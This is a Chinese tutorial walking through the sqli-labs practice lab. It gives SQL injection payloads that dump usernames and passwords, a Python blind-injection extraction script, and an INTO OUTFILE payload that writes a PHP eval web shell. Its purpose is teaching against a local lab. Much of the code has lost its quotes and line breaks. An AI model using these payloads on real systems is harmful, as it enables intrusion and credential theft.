Sqli-Labs注入靶機實戰演練
來自專欄白帽筆記7 人贊了文章
0x01 概括介紹
SQLI-LABS是集成了多種SQL注入類型的漏洞測試環境,可以用來學習不同類型的SQL注入。
1、Error Based Sql Injections - Union select type.
2、Error Based Sql Injections - Double Query type.
3、Boolian Based Blind Injections.
4、Time Based Blind Injections.
5、Dumping the DB using outfile / Dumpfile.
6、POST based Sql injections Error based type - union select.
7、POST based Sql injections - Double injection type.
8、POST based Blind injections -Boolian / Time based.
9、Injection in the UPDATE query.
10、Injection in the Headers.
11、Injection in cookies.
0x02 環境搭建
下載phpstudy
下載sqli-labs
將下載好的sqli-labs解壓放入phpstudy的www目錄下
修改sql-connections/db-creds.inc文件當中的mysql賬號密碼
重啟資料庫
訪問http://127.0.0.1/sqlilabs/,在最下方即可看見題目地址
0x03 資料庫基礎知識
select * from table_name limit m,n;表示從m+1開始取n條查詢記錄
desc 表名(查看錶的結構)
0x04 SQL注入一般流程
猜資料庫名
猜表名
猜列名
猜某個欄位的內容
Mysql函數
系統常用函數
user()——資料庫用戶名
database()——資料庫名
version()——MySQL版本
@@datadir——資料庫路徑
@@version_compile_os——操作系統版本
連接字元串函數
concat(str1,str2,str3),返回str1+str2+str3;當有一個字元串為NULL時,即返回NULL
例如select concat(id,』,』,name) as con from info limit 1;concat_ws(separator,str1,str2,str3),返回str1+separator+str2+separator+str3例如select concat_ws(』,』,id,name) as con from info limit 1;
group_concat(str1,str2,str3),返回str1+str2+str3;0x05 靶機實戰
Lession 1
第一節:GET – 基於錯誤 – 單引號 – 字元型
通過觀察發現,可以遍歷id的值來獲取用戶名和密碼
判斷報錯類型
判斷欄位
說明欄位為3
判斷顯示位(2,3處為顯示位)
使用union語句查詢時,必須使前面的語句查詢出錯(例如id=-1,而id中並沒有為-1的),以為當查詢出錯時,sql語句結果為空,也就會顯示我們構造的sql語句所查詢的內容,即union之後語句的執行結果。
爆資料庫名(將顯示位替換成mysql函數)
爆表名(資料庫security下的所有表名)
http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名(表users下的所有列名)
http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name="users"--+
爆出欄位值(security.users下所有的賬號密碼)
http://127.0.0.1/sqlilabs/Less-1?id=-5 union select 1,version(),group_concat(username,:,password) from security.users--+
源碼:
<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
第二課: GET – 基於錯誤 – 數字型
報錯信息如下
可以看到報錯信息是』 LIMIT 0,1說明後台語句可能查詢語句為SELECT * FROM users WHERE id=$id LIMIT 0,1,對用戶的輸入沒有經過任何處理,直接帶入資料庫查詢。
所以payload如下
爆表名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
爆數據
id=-1 union select 1,2,group_concat(username,:,password) from security.users
<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else{echo "Please input the ID as parameter with numeric value";}?>
第三課:基於錯誤-單引號變形-字元型
報錯信息如下
報錯信息』1』』) LIMIT 0,1表明開發者可能使用的SQL查詢語句為SELECT * FROM users WHERE id=(『$id』) LIMIT 0,1
爆表名
id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名
http://127.0.0.1/sqlilabs/Less-3/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
爆數據
http://127.0.0.1/sqlilabs/Less-3/?id=-1) union select 1,2,group_concat(username,:,password) from security.users--+
<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
第四課:基於錯誤-雙引號-字元型
報錯信息如下
報錯信息」1」」) LIMIT 0,1表明開發者可能使用的SQL查詢語句為SELECT * FROM users WHERE id=(「$id」) LIMIT 0,1
爆表名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
爆數據
http://127.0.0.1/sqlilabs/Less-4/?id=-1") union select 1,2,group_concat(username,:,password) from security.users--+
資料庫中的信息
<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);if(isset($_GET[id])){$id=$_GET[id];$fp=fopen(result.txt,a);fwrite($fp,ID:.$id."
");fclose($fp);$id = " . $id . ";$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size=5 color= #99FF00>";echo Your Login name:. $row[username];echo "<br>";echo Your Password: .$row[password];echo "</font>";}else{echo <font color= "#FFFF00">;print_r(mysql_error());echo "</font>";}}else { echo "Please input the ID as parameter with numeric value";}?>
第五課:不用注釋來查詢
如果所查詢的用戶id在資料庫中,可以發現頁面顯示」You are in」,而不像前4關那樣會顯示出具體的賬號密碼。
如果sql語句查詢結果不存在,則不會顯示」You are in」
這種類型的SQL注入屬於盲注型,使用id=1』觀察報錯信息,如下圖
可以看到報錯信息是』』1』』 LIMIT 0,1』,也就是說後台代碼可能是這樣寫的: SELECT * FROM users WHERE id=』$id』 LIMIT 0,1 ,
下面,我們進行手工盲注測試,需要用到substr()、length()、ascii()、left()、count()這些sql資料庫函數
首先,我們要獲取當前資料庫名的長度,用於之後的資料庫名猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and (length(database())=1)–+
下面的數字你可以從1開始遞增,發現在 length(database())=8的時候,頁面返回了正確信息,這說明當前資料庫名長度為8接下來就要對資料庫名的每個字元進行猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and (left(database(),1)=』s』)–+
left(database(),1)=』s』表示資料庫名從左往右取一個字元,判斷該字元是否等於s
left(database(),2)=』se』表示資料庫名從左往右取兩個個字元,判斷該字元是否等於se
這裡的s和se並不是固定的,你可以嘗試ASCII表中的每個字元
寫成腳本跑一下,效果圖如下
下面要查詢security資料庫下的表的個數
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and 1=(select count(table_name) from information_schema.tables where table_schema=』security』)–+
將等號左邊的1進行遞增即可判斷出security資料庫下表的個數
然後就是判斷每個表名的長度
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select table_name from information_schema.tables where table_schema=」security」 limit 0,1),1,1))–+
使用上面這個payload,如果頁面返回」You are in」,則表示第一張表的長度至少為1,同樣的,我們可以對limit num,1),num,1))num部分進行遞增判斷,如果進行到limit 0,1),7,1))時頁面返回空,則說明第一張表的長度為7-1=6
判斷出表名長度後,就要對錶名進行猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select table_name from information_schema.tables where table_schema=」security」 limit 0,1),1,1))=1–+
這裡其實跟上面的猜解資料庫名原理是一樣的,將等號右邊的1進行遞增判斷,如果頁面返回」You are in」,則表示第一張表的第一個字元的ASCII碼為1,在參考ASCII碼找到對應的字元就可以了。
用腳本跑一下
接下來就要猜解每個表裡的列的個數、列名以及列名長度,列名猜解,和上面原理都差不多,這裡不再贅述,直接給出payload(以users表為例子)。
猜解列的個數
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and %d=(select count(column_name) from information_schema.columns where table_name=』users』)–+
猜解列名長度
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1))–+
猜解列名
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1))=97–+
程序運行效果圖
最後就是要猜解每個列裡面的具體欄位的長度以及值了(這裡以猜解username為例)
判斷欄位長度
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and 1=(select count(username) from security.users)–+
判斷欄位長度
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select username from security.users limit 0,1),1,1))–+
判斷欄位值
http://127.0.0.1/sqlilabs/Less-5/?id=1『 and ascii(substr((select username from security.users limit 0,1),1,1))=95–+
程序運行效果圖
最後給出完整的python代碼(python3)
# coding=gbkimport requestsurl = http://192.168.1.158/sqlilabs/Less-5/?id=1db_length = 0db_name = table_num = 0table_len = 0table_name = table_list = []column_num = 0column_len = 0column_name = column_list = []dump_num = 0dump_len = 0dump_name = dump_list = []i = j = k = 0### 當前資料庫名長度 ###for i in range(1,20):db_payload = and (length(database())=%d)--+ %i# print(url+db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:db_length = iprint(當前資料庫名長度為:%d % db_length)break### 當前資料庫名 ###print(開始猜解資料庫名......)for i in range(1,db_length+1):for j in range(95,123):db_payload = and (left(database(),%d)=%s)--+ % (i,db_name+chr(j))r = requests.get(url+db_payload)if "You are in" in r.text:db_name += chr(j)# print(db_name)breakprint(資料庫名:
[+],db_name)### 當前資料庫表的數目 ###for i in range(100):db_payload = and %d=(select count(table_name) from information_schema.tables where table_schema=%s)--+ % (i,db_name)r = requests.get(url+db_payload)# print(url+db_payload)if "You are in" in r.text:table_num = ibreakprint(一共有%d張表 % table_num)print(開始猜解表名......)### 每張表的表名長度及表名 ###for i in range(table_num):table_len = 0table_name = #### 表名長度 ####for j in range(1,21):db_payload = and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+ % (i,j)r = requests.get(url+db_payload)# print(db_payload)if "You are in" not in r.text:table_len = j-1#### 猜解表名 ####for k in range(1,table_len+1):for l in range(95,123):db_payload = and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+ % (i,k,l)# print(db_payload)r = requests.get(url+db_payload)# print(db_payload)if "You are in" in r.text:table_name += chr(l)print(table_name)table_list.append(table_name)breakprint(表名:,table_list)### 每個表的列的數目、列名及列名長度 ###for i in table_list:#### 每個表的列的數目 ####for j in range(100):db_payload = and %d=(select count(column_name) from information_schema.columns where table_name=%s)--+ % (j, i)r = requests.get(url + db_payload)if "You are in" in r.text:column_num = jprint(("[+] 表名:%-10s " % i) + str(column_num) + 欄位)break#### 猜解列名長度 ####column_num = 3print(%s表中的列名: % table_list[-1])for j in range(3):column_name = for k in range(1,21):db_payload = and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+ % (table_list[-1],j,k)r = requests.get(url+db_payload)if "You are in" not in r.text:column_len = k-1# print(column_len)break#### 猜解列名 ####for l in range(95,123):db_payload = and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+ % (table_list[-1],j,k,l)r = requests.get(url + db_payload)if "You are in" in r.text:column_name += chr(l)print([+] ,column_name)column_list.append(column_name)print(開始爆破以下欄位:,column_list[1:])for column in column_list[1:]:print(column,:)dump_num = 0for i in range(30):db_payload = and %d=(select count(%s) from %s.%s)--+ % (i,column,db_name,table_list[-1])# print(db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:dump_num = i# print(i)breakfor i in range(dump_num):dump_len = 0dump_name = #### 欄位長度 ####for j in range(1, 21):db_payload = and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+ % (column,db_name,table_list[-1],i,j)r = requests.get(url + db_payload)if "You are in" not in r.text:dump_len = j-1for k in range(1, dump_len + 1):for l in range(1,256):db_payload = and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+ % (column,db_name,table_list[-1],i,k,l)# print(db_payload)r = requests.get(url+db_payload)if "You are in" in r.text:dump_name += chr(l)# print(dump_name)breakbreakprint([+],dump_name)
第六課:雙注入-雙引號
至於第六關,看一下報錯信息應該能猜出後台SQL查詢語句為SELECT * FROM users WHERE id=」$id」 LIMIT 0,1
所以直接將第五關寫的代碼修改一下,把代碼中payload部分的』(單引號)改成」(雙引號)即可
Lession-7
這次練習的靶場是sqli-labs第7關,練習mysql的文件寫入。我們的目的是將一句話木馬寫入到網站的Less-7目錄下,先來看一下該目錄的初始狀態
執行SQL寫文件操作
http://127.0.0.1/sqlilabs/Less-7/?id=1)) union select 1,2,"<?php @eval($_POST[cmd]); ?>" into outfile "c:/phpstudy/www/sqli-labs/Less-7/shell.php"--+
Lession-8
第8關是基於布爾型盲注,如果SQL語句查詢成功,則會返回」You are in」;否則返回空。關於這個盲注,我之前已經寫過分析文章,可以參考:sqli-lab5(盲注)
Lession-9
第9關是基於時間型盲注,在這一關中,不管SQL語句是否查詢成功,都會返回」You are in」,這時候就需要使用到延時盲注了。
在開始之前,我們需要先了解以下mysql中if語句的用法IF表達式
IF(expr1,expr2,expr3)
如果 expr1 是TRUE,則 IF()的返回值為expr2; 否則返回值則為 expr3。IF() 的返回值為數字值或字元串值,具體情況視其所在語境而定。
IF ELSE 做為流程式控制制語句使用
if實現條件判斷,滿足不同條件執行不同的操作,下面來看看mysql 存儲過程中的if是如何使用的
mysql實例 IF Else語句的例子IFNULL(expr1,expr2)
如果expr1 不為 NULL,則 IFNULL() 的返回值為 expr1; 否則其返回值為 expr2。IFNULL()的返回值是數字或是字元串,具體情況取決於其所使用的語境。
在了解了這些基本知識之後,我們使用一下payload來sql注入
http://127.0.0.1/sqlilabs/Less-8/?id=1『 and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
所以我們可以根據伺服器給我們返回數據的時間,來判斷我們的SQL語句是否查詢成功,注入過程和之前的盲注是類似的,這裡不再贅述。
Lession-10
第10關只要把前面兩關payload部分的單引號改成雙引號即可。
參考文章MySQL的if,case語句使用總結Lession-11
這次練習的靶場是sqli-labs第7關,練習mysql的文件寫入。我們的目的是將一句話木馬
使用賬號admin』#密碼1發現可以成功登陸猜一下欄位數,為2
執行mysql函數
這一關payload與第一關是一樣的,差別僅在於請求方式,所以這裡參考第一關注入即可。
Lession-12
與Lession-11一樣,只要把Lession-11中payload里的』(單引號)改成」)(雙引號加右括弧)即可
Lession-13、14
POST型雙查詢,登陸成功和登陸失敗的返回信息不會顯示出來,返回的圖片是不一樣的,但是圖片對於我們的SQL攻擊作用不大。所以我們可以使用雙查詢結合報錯來實現SQL注入攻擊,過程與第5關類似,可以參考這篇文章:Double SQL Injection(雙查詢注入)
Lession-15、16
POST型基於時間盲注,參考第9關
Lession-17
要想通過這關,我們需要先學習資料庫基本的增刪改查操作
Insert語句Update語句
Delete語句
在了解了以上基本知識後,我們就可以開始這一關的注入了。首先,這一關的頁面提供了用戶修改密碼的功能
使用報錯注入
其餘過程和之前的關卡類似。
Lession-18、19、20
這幾關都屬於HTTP頭注入,第18關注入位置在User-Agent處,第19關注入位置在Referer處,第20關注入位置在Cookie處。開始之前,我們先來了解一些HTTP基礎。
Accept: 瀏覽器能夠處理的內容類型Accept-Charset: 瀏覽器能夠顯示的字符集Accept-Encoding:瀏覽器能夠處理的壓縮編碼。Accept-Language: 瀏覽器當前設置的語言。Connection:瀏覽器與伺服器之間連接的類型Cookie:當前頁面設置的任何CookieHost:發出請求的頁面所在的域。Referer:發出請求的頁面的URI。User-Agent:瀏覽器的用戶代理字元串Server: WEB 伺服器表明自己是什麼軟體及版本等信息。例如:Server:Apache/2.0.61 (Unix)and extractvalue(1,concat(0x3c,(select @@version),0x3e)) and1=1Lession-21、22
可以發現cookie部分經過了base64加密,我們把第20關的payload使用base64編碼後傳輸即可實現注入
第22關和21關一樣,只是sql語句中單引號和雙引號的區別
0x06 總結
完成sqli-labs1-22的關卡,可以使你快速了解常見的sql注入類型,這些關卡中的關鍵字通常沒有進行過濾,因此比較簡單,自己一定要對其中的某一關卡寫一個自動化攻擊腳本,因為這樣能讓你對SQL注入有更深的理解,所以不能偷懶。
參考文章;
https://mp.weixin.qq.com/s/1UvomoZsTxy6XSvFdDlqaQ
http://www.freebuf.com/articles/web/38315.html
http://www.freebuf.com/articles/web/34619.html
推薦閱讀:
※黑客是怎麼進行網路攻擊的?那位大神能講的通俗詳細一點?
※DefCon China 2018 上有哪些值得關注的信息?
※回收站清空後能通過修改註冊表來恢復嗎?
※早期的中國黑客喜歡讀什麼書?那個時代的「教科書」或者"聖經"是什麼?
※是不是被克隆電話卡了呢?如何解釋這件事情?